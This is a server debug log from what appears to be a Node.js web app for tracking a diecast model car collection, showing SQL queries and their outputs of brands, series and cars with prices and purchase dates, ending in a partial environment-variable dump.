2025-12-12T13:47:52.018Z server-connect:app Executing action step restrict
2025-12-12T13:47:52.018Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:52.019Z server-connect:output restrict: undefined
2025-12-12T13:47:52.019Z server-connect:app Executing action step select
2025-12-12T13:47:52.019Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:47:52.020Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:47:52.022Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-12T13:47:52.023Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-12T13:47:52.023Z server-connect:app Executing action step identify
2025-12-12T13:47:52.023Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:52.024Z server-connect:output identity: 1
2025-12-12T13:47:52.024Z server-connect:app Executing action step restrict
2025-12-12T13:47:52.024Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:52.026Z server-connect:output restrict: undefined
2025-12-12T13:47:52.026Z server-connect:app Executing action step select
2025-12-12T13:47:52.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:47:52.027Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:47:52.027Z server-connect:app Executing action step identify
2025-12-12T13:47:52.027Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:52.027Z server-connect:output identity: 1
2025-12-12T13:47:52.027Z server-connect:app Executing action step restrict
2025-12-12T13:47:52.027Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:52.029Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-12T13:47:52.030Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-12T13:47:52.030Z server-connect:output restrict: undefined
2025-12-12T13:47:52.030Z server-connect:app Executing action step paged
2025-12-12T13:47:52.030Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-12T13:47:52.032Z server-connect:app Executing action step identify
2025-12-12T13:47:52.032Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:52.032Z server-connect:output identity: 1
2025-12-12T13:47:52.032Z server-connect:app Executing action step restrict
2025-12-12T13:47:52.032Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:52.033Z server-connect:app Executing action step identify
2025-12-12T13:47:52.033Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:52.033Z server-connect:output identity: 1
2025-12-12T13:47:52.033Z server-connect:app Executing action step restrict
2025-12-12T13:47:52.033Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:52.034Z server-connect:output restrict: undefined
2025-12-12T13:47:52.034Z server-connect:app Executing action step select
2025-12-12T13:47:52.034Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:47:52.035Z server-connect:output restrict: undefined
2025-12-12T13:47:52.035Z server-connect:app Executing action step select
2025-12-12T13:47:52.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:47:52.038Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-12T13:47:52.038Z server-connect:app Executing action step select
2025-12-12T13:47:52.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:47:52.039Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-12T13:47:52.040Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-12T13:47:52.040Z server-connect:app Executing action step select
2025-12-12T13:47:52.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:47:52.042Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-12T13:47:52.043Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-12T13:47:54.868Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-12T13:47:54.868Z server-connect:app Executing action step identify
2025-12-12T13:47:54.868Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:54.868Z server-connect:output identity: 1
2025-12-12T13:47:54.868Z server-connect:app Executing action step restrict
2025-12-12T13:47:54.868Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:54.869Z server-connect:output restrict: undefined
2025-12-12T13:47:54.870Z server-connect:app Executing action step paged
2025-12-12T13:47:54.870Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-12T13:47:54.874Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 21,
      model_name: '67 Austin Mini Van',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'P',
      vehicle_brand_name: 'Austin',
      vehicle_brand_id: 136,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-12T13:47:57.068Z server-connect:router Serving templateView /expense/list
2025-12-12T13:47:57.069Z server-connect:app Executing action step identify
2025-12-12T13:47:57.069Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:57.069Z server-connect:output identity: 1
2025-12-12T13:47:57.069Z server-connect:app Executing action step restrict
2025-12-12T13:47:57.069Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:47:57.069Z server-connect:output restrict: undefined
2025-12-12T13:47:57.069Z server-connect:router Render template expense/list
2025-12-12T13:47:57.070Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
